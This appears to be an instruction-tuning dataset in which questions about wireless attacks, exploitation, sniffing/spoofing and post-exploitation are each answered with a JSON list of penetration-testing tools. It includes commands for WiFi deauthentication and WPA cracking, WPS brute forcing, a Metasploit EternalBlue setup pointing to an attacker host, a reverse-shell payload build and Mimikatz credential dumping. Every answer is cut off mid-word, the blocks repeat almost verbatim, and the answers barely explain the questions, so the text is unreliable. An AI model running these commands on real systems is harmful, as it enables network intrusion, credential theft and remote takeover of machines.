Instruction: Answer question

Input: Explain wireless attacks

Output:
{
  "description": "Tools for wireless network security testing",
  "tools": {
    "aircrack-ng": {
      "name": "Aircrack-ng Suite",
      "description": "Complete suite for WiFi security auditing",
      "category": "WiFi Auditing Suite",
      "when_to_use": [
        "WEP/WPA/WPA2 cracking",
        "Packet capture and injection",
        "Access point testing",
        "Client deauthentication"
      ],
      "suite_tools": {
        "airmon-ng": "Enable monitor mode",
        "airodump-ng": "Packet capture",
        "aireplay-ng": "Packet injection",
        "aircrack-ng": "WEP/WPA cracking",
        "airbase-ng": "Fake AP creation"
      },
      "common_workflows": {
        "monitor_mode": "airmon-ng start wlan0",
        "capture_packets": "airodump-ng wlan0mon",
        "target_capture": "airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon",
        "deauth_attack": "aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX wlan0mon",
        "crack_wpa": "aircrack-ng -w wordlist.txt capture.cap"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "reaver": {
      "name": "Reaver",
      "description": "WPS PIN brute-force tool",
      "category": "WPS Cracker",
      "when_to_use": [
        "WPS PIN attacks",
        "Router vulnerability testing",
        "WPS enabled AP testing"
      ],
      "common_commands": {
        "basic_attack": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX",
        "verbose": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv",
        "pixie_dust": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -K 1",
        "delay_settings": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -d 5 -t 5"
      },
      "skill_level": "Intermediate"
    },
    "wifite": {
      "name": "Wifite",
      "description": "Automated wireless attack tool",
      "category": "WiFi Attack Automation",
      "when_to_use": [
        "Automated WiFi auditing",
        "Multiple network testing",
        "Quick security assessments"
      ],
      "features": [


Instruction: Answer question

Input: Tell me about wireless attacks

Output:
{
  "description": "Tools for wireless network security testing",
  "tools": {
    "aircrack-ng": {
      "name": "Aircrack-ng Suite",
      "description": "Complete suite for WiFi security auditing",
      "category": "WiFi Auditing Suite",
      "when_to_use": [
        "WEP/WPA/WPA2 cracking",
        "Packet capture and injection",
        "Access point testing",
        "Client deauthentication"
      ],
      "suite_tools": {
        "airmon-ng": "Enable monitor mode",
        "airodump-ng": "Packet capture",
        "aireplay-ng": "Packet injection",
        "aircrack-ng": "WEP/WPA cracking",
        "airbase-ng": "Fake AP creation"
      },
      "common_workflows": {
        "monitor_mode": "airmon-ng start wlan0",
        "capture_packets": "airodump-ng wlan0mon",
        "target_capture": "airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon",
        "deauth_attack": "aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX wlan0mon",
        "crack_wpa": "aircrack-ng -w wordlist.txt capture.cap"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "reaver": {
      "name": "Reaver",
      "description": "WPS PIN brute-force tool",
      "category": "WPS Cracker",
      "when_to_use": [
        "WPS PIN attacks",
        "Router vulnerability testing",
        "WPS enabled AP testing"
      ],
      "common_commands": {
        "basic_attack": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX",
        "verbose": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv",
        "pixie_dust": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -K 1",
        "delay_settings": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -d 5 -t 5"
      },
      "skill_level": "Intermediate"
    },
    "wifite": {
      "name": "Wifite",
      "description": "Automated wireless attack tool",
      "category": "WiFi Attack Automation",
      "when_to_use": [
        "Automated WiFi auditing",
        "Multiple network testing",
        "Quick security assessments"
      ],
      "features": [


Instruction: Answer question

Input: How does wireless attacks work?

Output:
{
  "description": "Tools for wireless network security testing",
  "tools": {
    "aircrack-ng": {
      "name": "Aircrack-ng Suite",
      "description": "Complete suite for WiFi security auditing",
      "category": "WiFi Auditing Suite",
      "when_to_use": [
        "WEP/WPA/WPA2 cracking",
        "Packet capture and injection",
        "Access point testing",
        "Client deauthentication"
      ],
      "suite_tools": {
        "airmon-ng": "Enable monitor mode",
        "airodump-ng": "Packet capture",
        "aireplay-ng": "Packet injection",
        "aircrack-ng": "WEP/WPA cracking",
        "airbase-ng": "Fake AP creation"
      },
      "common_workflows": {
        "monitor_mode": "airmon-ng start wlan0",
        "capture_packets": "airodump-ng wlan0mon",
        "target_capture": "airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon",
        "deauth_attack": "aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX wlan0mon",
        "crack_wpa": "aircrack-ng -w wordlist.txt capture.cap"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "reaver": {
      "name": "Reaver",
      "description": "WPS PIN brute-force tool",
      "category": "WPS Cracker",
      "when_to_use": [
        "WPS PIN attacks",
        "Router vulnerability testing",
        "WPS enabled AP testing"
      ],
      "common_commands": {
        "basic_attack": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX",
        "verbose": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv",
        "pixie_dust": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -K 1",
        "delay_settings": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -d 5 -t 5"
      },
      "skill_level": "Intermediate"
    },
    "wifite": {
      "name": "Wifite",
      "description": "Automated wireless attack tool",
      "category": "WiFi Attack Automation",
      "when_to_use": [
        "Automated WiFi auditing",
        "Multiple network testing",
        "Quick security assessments"
      ],
      "features": [


Instruction: Answer question

Input: Describe wireless attacks

Output:
{
  "description": "Tools for wireless network security testing",
  "tools": {
    "aircrack-ng": {
      "name": "Aircrack-ng Suite",
      "description": "Complete suite for WiFi security auditing",
      "category": "WiFi Auditing Suite",
      "when_to_use": [
        "WEP/WPA/WPA2 cracking",
        "Packet capture and injection",
        "Access point testing",
        "Client deauthentication"
      ],
      "suite_tools": {
        "airmon-ng": "Enable monitor mode",
        "airodump-ng": "Packet capture",
        "aireplay-ng": "Packet injection",
        "aircrack-ng": "WEP/WPA cracking",
        "airbase-ng": "Fake AP creation"
      },
      "common_workflows": {
        "monitor_mode": "airmon-ng start wlan0",
        "capture_packets": "airodump-ng wlan0mon",
        "target_capture": "airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon",
        "deauth_attack": "aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX wlan0mon",
        "crack_wpa": "aircrack-ng -w wordlist.txt capture.cap"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "reaver": {
      "name": "Reaver",
      "description": "WPS PIN brute-force tool",
      "category": "WPS Cracker",
      "when_to_use": [
        "WPS PIN attacks",
        "Router vulnerability testing",
        "WPS enabled AP testing"
      ],
      "common_commands": {
        "basic_attack": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX",
        "verbose": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv",
        "pixie_dust": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -K 1",
        "delay_settings": "reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -d 5 -t 5"
      },
      "skill_level": "Intermediate"
    },
    "wifite": {
      "name": "Wifite",
      "description": "Automated wireless attack tool",
      "category": "WiFi Attack Automation",
      "when_to_use": [
        "Automated WiFi auditing",
        "Multiple network testing",
        "Quick security assessments"
      ],
      "features": [


Instruction: Answer question

Input: What is exploitation tools?

Output:
{
  "description": "Tools for exploiting vulnerabilities",
  "tools": {
    "metasploit": {
      "name": "Metasploit Framework",
      "description": "Penetration testing framework",
      "category": "Exploitation Framework",
      "when_to_use": [
        "Vulnerability exploitation",
        "Payload generation",
        "Post-exploitation",
        "Privilege escalation",
        "Persistence establishment"
      ],
      "key_components": {
        "msfconsole": "Main interface",
        "msfvenom": "Payload generator",
        "msfdb": "Database management",
        "msfupdate": "Framework updater"
      },
      "common_commands": {
        "start_console": "msfconsole",
        "search_exploit": "search type:exploit platform:windows",
        "use_module": "use exploit/windows/smb/ms17_010_eternalblue",
        "set_options": "set RHOSTS target.com; set LHOST attacker.com",
        "run_exploit": "exploit",
        "generate_payload": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > payload.exe",
        "handler": "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp"
      },
      "module_types": {
        "exploits": "Vulnerability exploitation modules",
        "auxiliary": "Scanning and fuzzing modules",
        "post": "Post-exploitation modules",
        "payloads": "Code to run on target",
        "encoders": "Payload encoding",
        "nops": "No-operation generators"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "searchsploit": {
      "name": "SearchSploit",
      "description": "Exploit database search tool",
      "category": "Exploit Database",
      "when_to_use": [
        "Finding public exploits",
        "Vulnerability research",
        "PoC code discovery",
        "CVE correlation"
      ],
      "common_commands": {
        "basic_search": "searchsploit apache 2.4",
        "exact_match": "searchsploit -e 'Apache 2.4.49'",
        "exclude_dos": "searchsploit apa


Instruction: Answer question

Input: Explain exploitation tools

Output:
{
  "description": "Tools for exploiting vulnerabilities",
  "tools": {
    "metasploit": {
      "name": "Metasploit Framework",
      "description": "Penetration testing framework",
      "category": "Exploitation Framework",
      "when_to_use": [
        "Vulnerability exploitation",
        "Payload generation",
        "Post-exploitation",
        "Privilege escalation",
        "Persistence establishment"
      ],
      "key_components": {
        "msfconsole": "Main interface",
        "msfvenom": "Payload generator",
        "msfdb": "Database management",
        "msfupdate": "Framework updater"
      },
      "common_commands": {
        "start_console": "msfconsole",
        "search_exploit": "search type:exploit platform:windows",
        "use_module": "use exploit/windows/smb/ms17_010_eternalblue",
        "set_options": "set RHOSTS target.com; set LHOST attacker.com",
        "run_exploit": "exploit",
        "generate_payload": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > payload.exe",
        "handler": "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp"
      },
      "module_types": {
        "exploits": "Vulnerability exploitation modules",
        "auxiliary": "Scanning and fuzzing modules",
        "post": "Post-exploitation modules",
        "payloads": "Code to run on target",
        "encoders": "Payload encoding",
        "nops": "No-operation generators"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "searchsploit": {
      "name": "SearchSploit",
      "description": "Exploit database search tool",
      "category": "Exploit Database",
      "when_to_use": [
        "Finding public exploits",
        "Vulnerability research",
        "PoC code discovery",
        "CVE correlation"
      ],
      "common_commands": {
        "basic_search": "searchsploit apache 2.4",
        "exact_match": "searchsploit -e 'Apache 2.4.49'",
        "exclude_dos": "searchsploit apa


Instruction: Answer question

Input: Tell me about exploitation tools

Output:
{
  "description": "Tools for exploiting vulnerabilities",
  "tools": {
    "metasploit": {
      "name": "Metasploit Framework",
      "description": "Penetration testing framework",
      "category": "Exploitation Framework",
      "when_to_use": [
        "Vulnerability exploitation",
        "Payload generation",
        "Post-exploitation",
        "Privilege escalation",
        "Persistence establishment"
      ],
      "key_components": {
        "msfconsole": "Main interface",
        "msfvenom": "Payload generator",
        "msfdb": "Database management",
        "msfupdate": "Framework updater"
      },
      "common_commands": {
        "start_console": "msfconsole",
        "search_exploit": "search type:exploit platform:windows",
        "use_module": "use exploit/windows/smb/ms17_010_eternalblue",
        "set_options": "set RHOSTS target.com; set LHOST attacker.com",
        "run_exploit": "exploit",
        "generate_payload": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > payload.exe",
        "handler": "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp"
      },
      "module_types": {
        "exploits": "Vulnerability exploitation modules",
        "auxiliary": "Scanning and fuzzing modules",
        "post": "Post-exploitation modules",
        "payloads": "Code to run on target",
        "encoders": "Payload encoding",
        "nops": "No-operation generators"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "searchsploit": {
      "name": "SearchSploit",
      "description": "Exploit database search tool",
      "category": "Exploit Database",
      "when_to_use": [
        "Finding public exploits",
        "Vulnerability research",
        "PoC code discovery",
        "CVE correlation"
      ],
      "common_commands": {
        "basic_search": "searchsploit apache 2.4",
        "exact_match": "searchsploit -e 'Apache 2.4.49'",
        "exclude_dos": "searchsploit apa


Instruction: Answer question

Input: How does exploitation tools work?

Output:
{
  "description": "Tools for exploiting vulnerabilities",
  "tools": {
    "metasploit": {
      "name": "Metasploit Framework",
      "description": "Penetration testing framework",
      "category": "Exploitation Framework",
      "when_to_use": [
        "Vulnerability exploitation",
        "Payload generation",
        "Post-exploitation",
        "Privilege escalation",
        "Persistence establishment"
      ],
      "key_components": {
        "msfconsole": "Main interface",
        "msfvenom": "Payload generator",
        "msfdb": "Database management",
        "msfupdate": "Framework updater"
      },
      "common_commands": {
        "start_console": "msfconsole",
        "search_exploit": "search type:exploit platform:windows",
        "use_module": "use exploit/windows/smb/ms17_010_eternalblue",
        "set_options": "set RHOSTS target.com; set LHOST attacker.com",
        "run_exploit": "exploit",
        "generate_payload": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > payload.exe",
        "handler": "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp"
      },
      "module_types": {
        "exploits": "Vulnerability exploitation modules",
        "auxiliary": "Scanning and fuzzing modules",
        "post": "Post-exploitation modules",
        "payloads": "Code to run on target",
        "encoders": "Payload encoding",
        "nops": "No-operation generators"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "searchsploit": {
      "name": "SearchSploit",
      "description": "Exploit database search tool",
      "category": "Exploit Database",
      "when_to_use": [
        "Finding public exploits",
        "Vulnerability research",
        "PoC code discovery",
        "CVE correlation"
      ],
      "common_commands": {
        "basic_search": "searchsploit apache 2.4",
        "exact_match": "searchsploit -e 'Apache 2.4.49'",
        "exclude_dos": "searchsploit apa


Instruction: Answer question

Input: Describe exploitation tools

Output:
{
  "description": "Tools for exploiting vulnerabilities",
  "tools": {
    "metasploit": {
      "name": "Metasploit Framework",
      "description": "Penetration testing framework",
      "category": "Exploitation Framework",
      "when_to_use": [
        "Vulnerability exploitation",
        "Payload generation",
        "Post-exploitation",
        "Privilege escalation",
        "Persistence establishment"
      ],
      "key_components": {
        "msfconsole": "Main interface",
        "msfvenom": "Payload generator",
        "msfdb": "Database management",
        "msfupdate": "Framework updater"
      },
      "common_commands": {
        "start_console": "msfconsole",
        "search_exploit": "search type:exploit platform:windows",
        "use_module": "use exploit/windows/smb/ms17_010_eternalblue",
        "set_options": "set RHOSTS target.com; set LHOST attacker.com",
        "run_exploit": "exploit",
        "generate_payload": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > payload.exe",
        "handler": "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp"
      },
      "module_types": {
        "exploits": "Vulnerability exploitation modules",
        "auxiliary": "Scanning and fuzzing modules",
        "post": "Post-exploitation modules",
        "payloads": "Code to run on target",
        "encoders": "Payload encoding",
        "nops": "No-operation generators"
      },
      "skill_level": "Intermediate to Advanced"
    },
    "searchsploit": {
      "name": "SearchSploit",
      "description": "Exploit database search tool",
      "category": "Exploit Database",
      "when_to_use": [
        "Finding public exploits",
        "Vulnerability research",
        "PoC code discovery",
        "CVE correlation"
      ],
      "common_commands": {
        "basic_search": "searchsploit apache 2.4",
        "exact_match": "searchsploit -e 'Apache 2.4.49'",
        "exclude_dos": "searchsploit apa


Instruction: Answer question

Input: What is sniffing spoofing?

Output:
{
  "description": "Network sniffing and spoofing tools",
  "tools": {
    "wireshark": {
      "name": "Wireshark",
      "description": "Network protocol analyzer",
      "category": "Packet Analyzer",
      "when_to_use": [
        "Network troubleshooting",
        "Protocol analysis",
        "Packet inspection",
        "Traffic pattern analysis"
      ],
      "key_features": [
        "Deep packet inspection",
        "Live capture and offline analysis",
        "Rich display filters",
        "VoIP analysis",
        "Protocol decryption"
      ],
      "common_filters": {
        "http_traffic": "http",
        "specific_ip": "ip.addr == 192.168.1.1",
        "tcp_port": "tcp.port == 80",
        "dns_queries": "dns.qry.name contains 'example'",
        "ssl_handshake": "ssl.handshake"
      },
      "skill_level": "Beginner to Advanced"
    },
    "tcpdump": {
      "name": "TCPDump",
      "description": "Command-line packet analyzer",
      "category": "Packet Capture",
      "when_to_use": [
        "Quick packet capture",
        "Remote system analysis",
        "Automated capture scripts",
        "Minimal resource usage"
      ],
      "common_commands": {
        "basic_capture": "tcpdump -i eth0",
        "write_file": "tcpdump -i eth0 -w capture.pcap",
        "filter_host": "tcpdump host 192.168.1.1",
        "filter_port": "tcpdump port 80",
        "verbose": "tcpdump -i eth0 -vvv",
        "packet_contents": "tcpdump -i eth0 -X"
      },
      "skill_level": "Intermediate"
    },
    "ettercap": {
      "name": "Ettercap",
      "description": "Comprehensive suite for MITM attacks",
      "category": "MITM Tool",
      "when_to_use": [
        "ARP poisoning",
        "MITM attacks",
        "Network sniffing",
        "Content filtering/modification"
      ],
      "attack_modes": {
        "arp_poisoning": "ARP cache poisoning",
        "icmp_redirect": "ICMP redirect",
        "port_stealing": "Switch port stealing",
        "dhcp_spoofin


Instruction: Answer question

Input: Explain sniffing spoofing

Output:
{
  "description": "Network sniffing and spoofing tools",
  "tools": {
    "wireshark": {
      "name": "Wireshark",
      "description": "Network protocol analyzer",
      "category": "Packet Analyzer",
      "when_to_use": [
        "Network troubleshooting",
        "Protocol analysis",
        "Packet inspection",
        "Traffic pattern analysis"
      ],
      "key_features": [
        "Deep packet inspection",
        "Live capture and offline analysis",
        "Rich display filters",
        "VoIP analysis",
        "Protocol decryption"
      ],
      "common_filters": {
        "http_traffic": "http",
        "specific_ip": "ip.addr == 192.168.1.1",
        "tcp_port": "tcp.port == 80",
        "dns_queries": "dns.qry.name contains 'example'",
        "ssl_handshake": "ssl.handshake"
      },
      "skill_level": "Beginner to Advanced"
    },
    "tcpdump": {
      "name": "TCPDump",
      "description": "Command-line packet analyzer",
      "category": "Packet Capture",
      "when_to_use": [
        "Quick packet capture",
        "Remote system analysis",
        "Automated capture scripts",
        "Minimal resource usage"
      ],
      "common_commands": {
        "basic_capture": "tcpdump -i eth0",
        "write_file": "tcpdump -i eth0 -w capture.pcap",
        "filter_host": "tcpdump host 192.168.1.1",
        "filter_port": "tcpdump port 80",
        "verbose": "tcpdump -i eth0 -vvv",
        "packet_contents": "tcpdump -i eth0 -X"
      },
      "skill_level": "Intermediate"
    },
    "ettercap": {
      "name": "Ettercap",
      "description": "Comprehensive suite for MITM attacks",
      "category": "MITM Tool",
      "when_to_use": [
        "ARP poisoning",
        "MITM attacks",
        "Network sniffing",
        "Content filtering/modification"
      ],
      "attack_modes": {
        "arp_poisoning": "ARP cache poisoning",
        "icmp_redirect": "ICMP redirect",
        "port_stealing": "Switch port stealing",
        "dhcp_spoofin


Instruction: Answer question

Input: Tell me about sniffing spoofing

Output:
{
  "description": "Network sniffing and spoofing tools",
  "tools": {
    "wireshark": {
      "name": "Wireshark",
      "description": "Network protocol analyzer",
      "category": "Packet Analyzer",
      "when_to_use": [
        "Network troubleshooting",
        "Protocol analysis",
        "Packet inspection",
        "Traffic pattern analysis"
      ],
      "key_features": [
        "Deep packet inspection",
        "Live capture and offline analysis",
        "Rich display filters",
        "VoIP analysis",
        "Protocol decryption"
      ],
      "common_filters": {
        "http_traffic": "http",
        "specific_ip": "ip.addr == 192.168.1.1",
        "tcp_port": "tcp.port == 80",
        "dns_queries": "dns.qry.name contains 'example'",
        "ssl_handshake": "ssl.handshake"
      },
      "skill_level": "Beginner to Advanced"
    },
    "tcpdump": {
      "name": "TCPDump",
      "description": "Command-line packet analyzer",
      "category": "Packet Capture",
      "when_to_use": [
        "Quick packet capture",
        "Remote system analysis",
        "Automated capture scripts",
        "Minimal resource usage"
      ],
      "common_commands": {
        "basic_capture": "tcpdump -i eth0",
        "write_file": "tcpdump -i eth0 -w capture.pcap",
        "filter_host": "tcpdump host 192.168.1.1",
        "filter_port": "tcpdump port 80",
        "verbose": "tcpdump -i eth0 -vvv",
        "packet_contents": "tcpdump -i eth0 -X"
      },
      "skill_level": "Intermediate"
    },
    "ettercap": {
      "name": "Ettercap",
      "description": "Comprehensive suite for MITM attacks",
      "category": "MITM Tool",
      "when_to_use": [
        "ARP poisoning",
        "MITM attacks",
        "Network sniffing",
        "Content filtering/modification"
      ],
      "attack_modes": {
        "arp_poisoning": "ARP cache poisoning",
        "icmp_redirect": "ICMP redirect",
        "port_stealing": "Switch port stealing",
        "dhcp_spoofin


Instruction: Answer question

Input: How does sniffing spoofing work?

Output:
{
  "description": "Network sniffing and spoofing tools",
  "tools": {
    "wireshark": {
      "name": "Wireshark",
      "description": "Network protocol analyzer",
      "category": "Packet Analyzer",
      "when_to_use": [
        "Network troubleshooting",
        "Protocol analysis",
        "Packet inspection",
        "Traffic pattern analysis"
      ],
      "key_features": [
        "Deep packet inspection",
        "Live capture and offline analysis",
        "Rich display filters",
        "VoIP analysis",
        "Protocol decryption"
      ],
      "common_filters": {
        "http_traffic": "http",
        "specific_ip": "ip.addr == 192.168.1.1",
        "tcp_port": "tcp.port == 80",
        "dns_queries": "dns.qry.name contains 'example'",
        "ssl_handshake": "ssl.handshake"
      },
      "skill_level": "Beginner to Advanced"
    },
    "tcpdump": {
      "name": "TCPDump",
      "description": "Command-line packet analyzer",
      "category": "Packet Capture",
      "when_to_use": [
        "Quick packet capture",
        "Remote system analysis",
        "Automated capture scripts",
        "Minimal resource usage"
      ],
      "common_commands": {
        "basic_capture": "tcpdump -i eth0",
        "write_file": "tcpdump -i eth0 -w capture.pcap",
        "filter_host": "tcpdump host 192.168.1.1",
        "filter_port": "tcpdump port 80",
        "verbose": "tcpdump -i eth0 -vvv",
        "packet_contents": "tcpdump -i eth0 -X"
      },
      "skill_level": "Intermediate"
    },
    "ettercap": {
      "name": "Ettercap",
      "description": "Comprehensive suite for MITM attacks",
      "category": "MITM Tool",
      "when_to_use": [
        "ARP poisoning",
        "MITM attacks",
        "Network sniffing",
        "Content filtering/modification"
      ],
      "attack_modes": {
        "arp_poisoning": "ARP cache poisoning",
        "icmp_redirect": "ICMP redirect",
        "port_stealing": "Switch port stealing",
        "dhcp_spoofin


Instruction: Answer question

Input: Describe sniffing spoofing

Output:
{
  "description": "Network sniffing and spoofing tools",
  "tools": {
    "wireshark": {
      "name": "Wireshark",
      "description": "Network protocol analyzer",
      "category": "Packet Analyzer",
      "when_to_use": [
        "Network troubleshooting",
        "Protocol analysis",
        "Packet inspection",
        "Traffic pattern analysis"
      ],
      "key_features": [
        "Deep packet inspection",
        "Live capture and offline analysis",
        "Rich display filters",
        "VoIP analysis",
        "Protocol decryption"
      ],
      "common_filters": {
        "http_traffic": "http",
        "specific_ip": "ip.addr == 192.168.1.1",
        "tcp_port": "tcp.port == 80",
        "dns_queries": "dns.qry.name contains 'example'",
        "ssl_handshake": "ssl.handshake"
      },
      "skill_level": "Beginner to Advanced"
    },
    "tcpdump": {
      "name": "TCPDump",
      "description": "Command-line packet analyzer",
      "category": "Packet Capture",
      "when_to_use": [
        "Quick packet capture",
        "Remote system analysis",
        "Automated capture scripts",
        "Minimal resource usage"
      ],
      "common_commands": {
        "basic_capture": "tcpdump -i eth0",
        "write_file": "tcpdump -i eth0 -w capture.pcap",
        "filter_host": "tcpdump host 192.168.1.1",
        "filter_port": "tcpdump port 80",
        "verbose": "tcpdump -i eth0 -vvv",
        "packet_contents": "tcpdump -i eth0 -X"
      },
      "skill_level": "Intermediate"
    },
    "ettercap": {
      "name": "Ettercap",
      "description": "Comprehensive suite for MITM attacks",
      "category": "MITM Tool",
      "when_to_use": [
        "ARP poisoning",
        "MITM attacks",
        "Network sniffing",
        "Content filtering/modification"
      ],
      "attack_modes": {
        "arp_poisoning": "ARP cache poisoning",
        "icmp_redirect": "ICMP redirect",
        "port_stealing": "Switch port stealing",
        "dhcp_spoofin


Instruction: Answer question

Input: What is post exploitation?

Output:
{
  "description": "Tools for maintaining access and post-exploitation",
  "tools": {
    "empire": {
      "name": "Empire/Starkiller",
      "description": "Post-exploitation framework",
      "category": "C2 Framework",
      "when_to_use": [
        "Post-exploitation",
        "Lateral movement",
        "Persistence",
        "Data exfiltration"
      ],
      "key_features": [
        "PowerShell agents",
        "Python agents",
        "Flexible communication",
        "Module library"
      ],
      "skill_level": "Advanced"
    },
    "mimikatz": {
      "name": "Mimikatz",
      "description": "Windows credential extraction",
      "category": "Credential Dumper",
      "when_to_use": [
        "Password extraction",
        "Hash dumping",
        "Kerberos ticket extraction",
        "Pass-the-hash attacks"
      ],
      "common_modules": {
        "sekurlsa::logonpasswords": "Dump passwords",
        "lsadump::sam": "Dump SAM database",
        "kerberos::list": "List Kerberos tickets",
        "token::elevate": "Token manipulation"
      },
      "skill_level": "Advanced"
    },
    "powersploit": {
      "name": "PowerSploit",
      "description": "PowerShell post-exploitation framework",
      "category": "PowerShell Framework",
      "when_to_use": [
        "Windows post-exploitation",
        "Privilege escalation",
        "Persistence",
        "AV evasion"
      ],
      "module_categories": [
        "CodeExecution",
        "ScriptModification",
        "Persistence",
        "Privesc",
        "Recon",
        "Exfiltration"
      ],
      "skill_level": "Advanced"
    },
    "evil-winrm": {
      "name": "Evil-WinRM",
      "description": "Windows Remote Management shell",
      "category": "Remote Shell",
      "when_to_use": [
        "Windows remote access",
        "Post-exploitation",
        "File transfer",
        "Service manipulation"
      ],
      "common_commands": {
        "connect": "evil-winrm -i target.com -u admin -p p


Instruction: Answer question

Input: Explain post exploitation

Output:
{
  "description": "Tools for maintaining access and post-exploitation",
  "tools": {
    "empire": {
      "name": "Empire/Starkiller",
      "description": "Post-exploitation framework",
      "category": "C2 Framework",
      "when_to_use": [
        "Post-exploitation",
        "Lateral movement",
        "Persistence",
        "Data exfiltration"
      ],
      "key_features": [
        "PowerShell agents",
        "Python agents",
        "Flexible communication",
        "Module library"
      ],
      "skill_level": "Advanced"
    },
    "mimikatz": {
      "name": "Mimikatz",
      "description": "Windows credential extraction",
      "category": "Credential Dumper",
      "when_to_use": [
        "Password extraction",
        "Hash dumping",
        "Kerberos ticket extraction",
        "Pass-the-hash attacks"
      ],
      "common_modules": {
        "sekurlsa::logonpasswords": "Dump passwords",
        "lsadump::sam": "Dump SAM database",
        "kerberos::list": "List Kerberos tickets",
        "token::elevate": "Token manipulation"
      },
      "skill_level": "Advanced"
    },
    "powersploit": {
      "name": "PowerSploit",
      "description": "PowerShell post-exploitation framework",
      "category": "PowerShell Framework",
      "when_to_use": [
        "Windows post-exploitation",
        "Privilege escalation",
        "Persistence",
        "AV evasion"
      ],
      "module_categories": [
        "CodeExecution",
        "ScriptModification",
        "Persistence",
        "Privesc",
        "Recon",
        "Exfiltration"
      ],
      "skill_level": "Advanced"
    },
    "evil-winrm": {
      "name": "Evil-WinRM",
      "description": "Windows Remote Management shell",
      "category": "Remote Shell",
      "when_to_use": [
        "Windows remote access",
        "Post-exploitation",
        "File transfer",
        "Service manipulation"
      ],
      "common_commands": {
        "connect": "evil-winrm -i target.com -u admin -p p


Instruction: Answer question

Input: Tell me about post exploitation

Output:
{
  "description": "Tools for maintaining access and post-exploitation",
  "tools": {
    "empire": {
      "name": "Empire/Starkiller",
      "description": "Post-exploitation framework",
      "category": "C2 Framework",
      "when_to_use": [
        "Post-exploitation",
        "Lateral movement",
        "Persistence",
        "Data exfiltration"
      ],
      "key_features": [
        "PowerShell agents",
        "Python agents",
        "Flexible communication",
        "Module library"
      ],
      "skill_level": "Advanced"
    },
    "mimikatz": {
      "name": "Mimikatz",
      "description": "Windows credential extraction",
      "category": "Credential Dumper",
      "when_to_use": [
        "Password extraction",
        "Hash dumping",
        "Kerberos ticket extraction",
        "Pass-the-hash attacks"
      ],
      "common_modules": {
        "sekurlsa::logonpasswords": "Dump passwords",
        "lsadump::sam": "Dump SAM database",
        "kerberos::list": "List Kerberos tickets",
        "token::elevate": "Token manipulation"
      },
      "skill_level": "Advanced"
    },
    "powersploit": {
      "name": "PowerSploit",
      "description": "PowerShell post-exploitation framework",
      "category": "PowerShell Framework",
      "when_to_use": [
        "Windows post-exploitation",
        "Privilege escalation",
        "Persistence",
        "AV evasion"
      ],
      "module_categories": [
        "CodeExecution",
        "ScriptModification",
        "Persistence",
        "Privesc",
        "Recon",
        "Exfiltration"
      ],
      "skill_level": "Advanced"
    },
    "evil-winrm": {
      "name": "Evil-WinRM",
      "description": "Windows Remote Management shell",
      "category": "Remote Shell",
      "when_to_use": [
        "Windows remote access",
        "Post-exploitation",
        "File transfer",
        "Service manipulation"
      ],
      "common_commands": {
        "connect": "evil-winrm -i target.com -u admin -p p


Instruction: Answer question

Input: How does post exploitation work?

Output:
{
  "description": "Tools for maintaining access and post-exploitation",
  "tools": {
    "empire": {
      "name": "Empire/Starkiller",
      "description": "Post-exploitation framework",
      "category": "C2 Framework",
      "when_to_use": [
        "Post-exploitation",
        "Lateral movement",
        "Persistence",
        "Data exfiltration"
      ],
      "key_features": [
        "PowerShell agents",
        "Python agents",
        "Flexible communication",
        "Module library"
      ],
      "skill_level": "Advanced"
    },
    "mimikatz": {
      "name": "Mimikatz",
      "description": "Windows credential extraction",
      "category": "Credential Dumper",
      "when_to_use": [
        "Password extraction",
        "Hash dumping",
        "Kerberos ticket extraction",
        "Pass-the-hash attacks"
      ],
      "common_modules": {
        "sekurlsa::logonpasswords": "Dump passwords",
        "lsadump::sam": "Dump SAM database",
        "kerberos::list": "List Kerberos tickets",
        "token::elevate": "Token manipulation"
      },
      "skill_level": "Advanced"
    },
    "powersploit": {
      "name": "PowerSploit",
      "description": "PowerShell post-exploitation framework",
      "category": "PowerShell Framework",
      "when_to_use": [
        "Windows post-exploitation",
        "Privilege escalation",
        "Persistence",
        "AV evasion"
      ],
      "module_categories": [
